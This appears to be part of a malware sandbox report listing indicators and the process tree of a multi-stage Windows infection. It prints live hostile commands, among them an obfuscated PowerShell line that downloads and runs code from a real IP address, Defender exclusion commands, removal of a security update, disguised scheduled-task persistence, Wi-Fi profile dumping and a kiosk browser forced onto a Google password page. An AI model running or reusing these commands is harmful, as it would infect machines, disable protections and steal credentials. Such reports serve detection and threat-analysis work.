3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe

Suspicious use of SendNotifyMessage 21 IoCs

pid	Process
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe
3080	explorer.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
3004	StartMenuExperienceHost.exe
4140	SearchApp.exe
6308	RegSvcs.exe
6308	RegSvcs.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1892 wrote to memory of 4384	1892	2da07adfec8e96b42181944d948e346cb54a3772a53e9bd1a219119fca8fa7ea.exe	83
PID 1892 wrote to memory of 4384	1892	2da07adfec8e96b42181944d948e346cb54a3772a53e9bd1a219119fca8fa7ea.exe	83
PID 1892 wrote to memory of 4384	1892	2da07adfec8e96b42181944d948e346cb54a3772a53e9bd1a219119fca8fa7ea.exe	83
PID 4384 wrote to memory of 3040	4384	skotes.exe	85
PID 4384 wrote to memory of 3040	4384	skotes.exe	85
PID 3040 wrote to memory of 1172	3040	K6UAlAU.exe	86
PID 3040 wrote to memory of 1172	3040	K6UAlAU.exe	86
PID 3040 wrote to memory of 1172	3040	K6UAlAU.exe	86
PID 3040 wrote to memory of 1172	3040	K6UAlAU.exe	86
PID 3040 wrote to memory of 1172	3040	K6UAlAU.exe	86
PID 3040 wrote to memory of 1172	3040	K6UAlAU.exe	86
PID 3040 wrote to memory of 1172	3040	K6UAlAU.exe	86
PID 3040 wrote to memory of 1172	3040	K6UAlAU.exe	86
PID 3040 wrote to memory of 1172	3040	K6UAlAU.exe	86
PID 3040 wrote to memory of 1172	3040	K6UAlAU.exe	86
PID 3040 wrote to memory of 396	3040	K6UAlAU.exe	87
PID 3040 wrote to memory of 396	3040	K6UAlAU.exe	87
PID 3040 wrote to memory of 2412	3040	K6UAlAU.exe	88
PID 3040 wrote to memory of 2412	3040	K6UAlAU.exe	88
PID 3040 wrote to memory of 396	3040	K6UAlAU.exe	87
PID 3040 wrote to memory of 396	3040	K6UAlAU.exe	87
PID 3040 wrote to memory of 396	3040	K6UAlAU.exe	87
PID 3040 wrote to memory of 396	3040	K6UAlAU.exe	87
PID 3040 wrote to memory of 396	3040	K6UAlAU.exe	87
PID 3040 wrote to memory of 396	3040	K6UAlAU.exe	87
PID 3040 wrote to memory of 396	3040	K6UAlAU.exe	87
PID 3040 wrote to memory of 396	3040	K6UAlAU.exe	87
PID 1172 wrote to memory of 3592	1172	svchost.exe	56
PID 1172 wrote to memory of 3592	1172	svchost.exe	56
PID 3040 wrote to memory of 2412	3040	K6UAlAU.exe	88
PID 3040 wrote to memory of 2412	3040	K6UAlAU.exe	88
PID 3040 wrote to memory of 2412	3040	K6UAlAU.exe	88
PID 3040 wrote to memory of 2412	3040	K6UAlAU.exe	88
PID 3040 wrote to memory of 2412	3040	K6UAlAU.exe	88
PID 3040 wrote to memory of 2412	3040	K6UAlAU.exe	88
PID 3040 wrote to memory of 2412	3040	K6UAlAU.exe	88
PID 3040 wrote to memory of 2412	3040	K6UAlAU.exe	88
PID 3592 wrote to memory of 1720	3592	Explorer.EXE	89
PID 3592 wrote to memory of 1720	3592	Explorer.EXE	89
PID 3592 wrote to memory of 1720	3592	Explorer.EXE	89
PID 4384 wrote to memory of 1344	4384	skotes.exe	90
PID 4384 wrote to memory of 1344	4384	skotes.exe	90
PID 3592 wrote to memory of 3552	3592	Explorer.EXE	91
PID 3592 wrote to memory of 3552	3592	Explorer.EXE	91
PID 3592 wrote to memory of 3552	3592	Explorer.EXE	91
PID 1344 wrote to memory of 4536	1344	XAzdvQx.exe	92
PID 1344 wrote to memory of 4536	1344	XAzdvQx.exe	92
PID 1344 wrote to memory of 2516	1344	XAzdvQx.exe	93
PID 1344 wrote to memory of 2516	1344	XAzdvQx.exe	93
PID 1344 wrote to memory of 2516	1344	XAzdvQx.exe	93
PID 3592 wrote to memory of 2636	3592	Explorer.EXE	95
PID 3592 wrote to memory of 2636	3592	Explorer.EXE	95
PID 3592 wrote to memory of 2636	3592	Explorer.EXE	95
PID 3552 wrote to memory of 4428	3552	9953.tmp.ctx.exe	96
PID 3552 wrote to memory of 4428	3552	9953.tmp.ctx.exe	96
PID 3552 wrote to memory of 4428	3552	9953.tmp.ctx.exe	96
PID 3592 wrote to memory of 4584	3592	Explorer.EXE	97
PID 3592 wrote to memory of 4584	3592	Explorer.EXE	97
PID 3592 wrote to memory of 4584	3592	Explorer.EXE	97
PID 4584 wrote to memory of 3080	4584	9EC3.tmp.Build.exe	98
PID 4584 wrote to memory of 3080	4584	9EC3.tmp.Build.exe	98
PID 4384 wrote to memory of 4564	4384	skotes.exe	100
PID 4384 wrote to memory of 4564	4384	skotes.exe	100
PID 4384 wrote to memory of 4564	4384	skotes.exe	100

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
7464	attrib.exe
7108	attrib.exe
7484	attrib.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3592
- C:\Users\Admin\AppData\Local\Temp\2da07adfec8e96b42181944d948e346cb54a3772a53e9bd1a219119fca8fa7ea.exe
  "C:\Users\Admin\AppData\Local\Temp\2da07adfec8e96b42181944d948e346cb54a3772a53e9bd1a219119fca8fa7ea.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Checks computer location settings
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1892
- - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
    "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4384
  - - C:\Users\Admin\AppData\Local\Temp\1015193001\K6UAlAU.exe
      "C:\Users\Admin\AppData\Local\Temp\1015193001\K6UAlAU.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of SetThreadContext
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3040
    - - C:\Windows\system32\svchost.exe
        
        "C:\Windows\system32\svchost.exe"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1172
    - - C:\Windows\system32\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe"
        5⤵
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:396
    - - C:\Windows\system32\audiodg.exe
        
        "C:\Windows\system32\audiodg.exe"
        5⤵
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2412
  - - C:\Users\Admin\AppData\Local\Temp\1015207001\XAzdvQx.exe
      "C:\Users\Admin\AppData\Local\Temp\1015207001\XAzdvQx.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1344
    - - C:\Users\Admin\AppData\Roaming\services.exe
        
        "C:\Users\Admin\AppData\Roaming\services.exe"
        5⤵
        Drops startup file
        Executes dropped EXE
        
        PID:4536
    - - C:\Users\Admin\AppData\Roaming\windows.exe
        
        "C:\Users\Admin\AppData\Roaming\windows.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2516
  - - C:\Users\Admin\AppData\Local\Temp\1015215001\36680f399e.exe
      "C:\Users\Admin\AppData\Local\Temp\1015215001\36680f399e.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      PID:4564
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\AppData\Local\Temp\1015215001\36680f399e.exe" & rd /s /q "C:\ProgramData\VS0RQIWB1DJM" & exit
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5348
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        6⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:5576
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4564 -s 2004
        5⤵
        Program crash
        
        PID:5688
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\1015216041\wOKhy9f.ps1"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:3320
    - - C:\Windows\SysWOW64\ipconfig.exe
        
        "C:\Windows\system32\ipconfig.exe" /flushdns
        5⤵
        System Location Discovery: System Language Discovery
        Gathers network information
        
        PID:848
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5252
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Roaming\10000090140\S.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:5792
        
        C:\Windows\SysWOW64\ipconfig.exe
        
        "C:\Windows\system32\ipconfig.exe" /flushdns
        7⤵
        System Location Discovery: System Language Discovery
        Gathers network information
        
        PID:5756
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:6080
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Roaming\10000100140\8.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:7636
        
        C:\Windows\SysWOW64\ipconfig.exe
        
        "C:\Windows\system32\ipconfig.exe" /flushdns
        7⤵
        System Location Discovery: System Language Discovery
        Gathers network information
        
        PID:6580
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:6308
        
        \??\c:\windows\SysWOW64\cmstp.exe
        
        "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\ynpi03ss.inf
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5552
  - - C:\Users\Admin\AppData\Local\Temp\1015217001\f99e62e59e.exe
      "C:\Users\Admin\AppData\Local\Temp\1015217001\f99e62e59e.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5212
  - - C:\Users\Admin\AppData\Local\Temp\1015218001\8a2ec8b3c2.exe
      "C:\Users\Admin\AppData\Local\Temp\1015218001\8a2ec8b3c2.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      PID:6036
  - - C:\Users\Admin\AppData\Local\Temp\1015219001\83df552d97.exe
      "C:\Users\Admin\AppData\Local\Temp\1015219001\83df552d97.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      PID:6796
  - - C:\Users\Admin\AppData\Local\Temp\1015220001\423c2d3551.exe
      "C:\Users\Admin\AppData\Local\Temp\1015220001\423c2d3551.exe"
      4⤵
      PID:5152
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        5⤵
        Kills process with taskkill
        
        PID:6752
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        5⤵
        Kills process with taskkill
        
        PID:7448
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        5⤵
        Kills process with taskkill
        
        PID:5604
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        5⤵
        Kills process with taskkill
        
        PID:7340
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        5⤵
        Kills process with taskkill
        
        PID:6800
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        5⤵
        
        PID:1840
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        6⤵
        
        PID:6368
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1972 -parentBuildID 20240401114208 -prefsHandle 1884 -prefMapHandle 1876 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {89271c7c-cca7-4057-92b2-7f4a0182cbd2} 6368 "\\.\pipe\gecko-crash-server-pipe.6368" gpu
        7⤵
        
        PID:7292
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2444 -parentBuildID 20240401114208 -prefsHandle 2428 -prefMapHandle 2424 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {18a2938a-e09d-423a-8a0b-e122e8d60392} 6368 "\\.\pipe\gecko-crash-server-pipe.6368" socket
        7⤵
        
        PID:5040
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1364 -childID 1 -isForBrowser -prefsHandle 3128 -prefMapHandle 3124 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4052e2f5-d9cb-45e5-8262-36fc34ddcce7} 6368 "\\.\pipe\gecko-crash-server-pipe.6368" tab
        7⤵
        
        PID:6936
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3320 -childID 2 -isForBrowser -prefsHandle 3328 -prefMapHandle 3332 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b3174d88-3e96-41ca-a2b1-4f435a93a6e6} 6368 "\\.\pipe\gecko-crash-server-pipe.6368" tab
        7⤵
        
        PID:5564
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4468 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4756 -prefMapHandle 4752 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {abd5df63-3977-4da6-9996-706e0489125b} 6368 "\\.\pipe\gecko-crash-server-pipe.6368" utility
        7⤵
        
        PID:7468
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4232 -childID 3 -isForBrowser -prefsHandle 5268 -prefMapHandle 5272 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7fac3a91-3327-4320-ab5e-4ba79f258e6c} 6368 "\\.\pipe\gecko-crash-server-pipe.6368" tab
        7⤵
        
        PID:6372
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5216 -childID 4 -isForBrowser -prefsHandle 5432 -prefMapHandle 5436 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2c628b6f-caa0-4199-968e-867ae852de94} 6368 "\\.\pipe\gecko-crash-server-pipe.6368" tab
        7⤵
        
        PID:7060
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5612 -childID 5 -isForBrowser -prefsHandle 5620 -prefMapHandle 5624 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2e462c0e-9098-44c4-b92f-54a7e596ed74} 6368 "\\.\pipe\gecko-crash-server-pipe.6368" tab
        7⤵
        
        PID:6776
  - - C:\Users\Admin\AppData\Local\Temp\1015221001\d0acf2ee52.exe
      "C:\Users\Admin\AppData\Local\Temp\1015221001\d0acf2ee52.exe"
      4⤵
      PID:7440
  - - C:\Users\Admin\AppData\Local\Temp\1015222001\da159e01cf.exe
      "C:\Users\Admin\AppData\Local\Temp\1015222001\da159e01cf.exe"
      4⤵
      PID:6684
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
        5⤵
        
        PID:7208
      - C:\Windows\system32\mode.com
        
        mode 65,10
        6⤵
        
        PID:4284
      - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e file.zip -p24291711423417250691697322505 -oextracted
        6⤵
        
        PID:8164
      - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_7.zip -oextracted
        6⤵
        
        PID:7080
      - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_6.zip -oextracted
        6⤵
        
        PID:7240
      - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_5.zip -oextracted
        6⤵
        
        PID:6880
      - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_4.zip -oextracted
        6⤵
        
        PID:5776
      - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_3.zip -oextracted
        6⤵
        
        PID:4964
      - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_2.zip -oextracted
        6⤵
        
        PID:212
      - C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        
        7z.exe e extracted/file_1.zip -oextracted
        6⤵
        
        PID:4176
      - C:\Windows\system32\attrib.exe
        
        attrib +H "in.exe"
        6⤵
        Views/modifies file attributes
        
        PID:7108
      - C:\Users\Admin\AppData\Local\Temp\main\in.exe
        
        "in.exe"
        6⤵
        
        PID:6748
        
        C:\Windows\SYSTEM32\attrib.exe
        
        attrib +H +S C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
        7⤵
        Views/modifies file attributes
        
        PID:7464
        
        C:\Windows\SYSTEM32\attrib.exe
        
        attrib +H C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe
        7⤵
        Views/modifies file attributes
        
        PID:7484
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\Admin\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7500
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell ping 127.0.0.1; del in.exe
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:7516
        
        C:\Windows\system32\PING.EXE
        
        "C:\Windows\system32\PING.EXE" 127.0.0.1
        8⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2236
  - - C:\Users\Admin\AppData\Local\Temp\1015223001\d945faa72d.exe
      "C:\Users\Admin\AppData\Local\Temp\1015223001\d945faa72d.exe"
      4⤵
      PID:6820
    - - C:\Users\Admin\AppData\Local\Temp\1015223001\d945faa72d.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1015223001\d945faa72d.exe"
        5⤵
        
        PID:5780
- C:\Users\Admin\AppData\Local\Temp\95C8.tmp.fcxcx.exe
  "C:\Users\Admin\AppData\Local\Temp\95C8.tmp.fcxcx.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1720
- C:\Users\Admin\AppData\Local\Temp\9953.tmp.ctx.exe
  "C:\Users\Admin\AppData\Local\Temp\9953.tmp.ctx.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3552
- - C:\Users\Admin\AppData\Local\Temp\ee29ea508b\Gxtuum.exe
    "C:\Users\Admin\AppData\Local\Temp\ee29ea508b\Gxtuum.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4428
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\43266f2abbf198\cred64.dll, Main
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:6056
    - - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\43266f2abbf198\cred64.dll, Main
        5⤵
        Blocklisted process makes network request
        Loads dropped DLL
        
        PID:6096
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5104
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\878641211696_Desktop.zip' -CompressionLevel Optimal
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4152
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\43266f2abbf198\cred64.dll, Main
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:6548
    - - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\43266f2abbf198\cred64.dll, Main
        5⤵
        Blocklisted process makes network request
        Loads dropped DLL
        
        PID:6344
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6640
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\878641211696_Desktop.zip' -CompressionLevel Optimal
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6960
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\43266f2abbf198\clip64.dll, Main
      4⤵
      PID:5756
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\43266f2abbf198\clip64.dll, Main
      4⤵
      PID:1856
- C:\Users\Admin\AppData\Local\Temp\9B19.tmp.AsyncClient.exe
  "C:\Users\Admin\AppData\Local\Temp\9B19.tmp.AsyncClient.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2636
- C:\Users\Admin\AppData\Local\Temp\9EC3.tmp.Build.exe
  "C:\Users\Admin\AppData\Local\Temp\9EC3.tmp.Build.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4584
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    3⤵
    - Boot or Logon Autostart Execution: Active Setup
    - Enumerates connected drives
    - Checks SCSI registry key(s)
    - Modifies registry class
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:3080
- - C:\Users\Admin\AppData\Local\Temp\9EC3.tmp.Build.exe
    "C:\Users\Admin\AppData\Local\Temp\9EC3.tmp.Build.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4484
- C:\Users\Admin\AppData\Local\Temp\A8D7.tmp.cc.exe
  "C:\Users\Admin\AppData\Local\Temp\A8D7.tmp.cc.exe"
  2⤵
  - Executes dropped EXE
  PID:2472

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3004

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4564 -ip 4564
1⤵
PID:5464

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- System Location Discovery: System Language Discovery
PID:7680
- C:\Windows\SysWOW64\cmd.exe
  cmd /c start C:\Windows\temp\bs2cjjtf.js
  2⤵
  PID:6104
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Windows\temp\bs2cjjtf.js"
    3⤵
    PID:7324
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='##(N##ew-O###bje###ct N###et.W###e'; $c4='b##Cl####ie##nt##).###D###ow#nl##o##'; $c3='a##dSt####ri#####n###g(''http://176.113.115.178/GO.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('#','');I`E`X $TC|I`E`X
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6336
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3888
    - - C:\Users\Admin\AppData\Roaming\LB311.exe
        
        "C:\Users\Admin\AppData\Roaming\LB311.exe"
        5⤵
        
        PID:3232
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4764
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        
        PID:3544
        
        C:\Windows\system32\wusa.exe
        
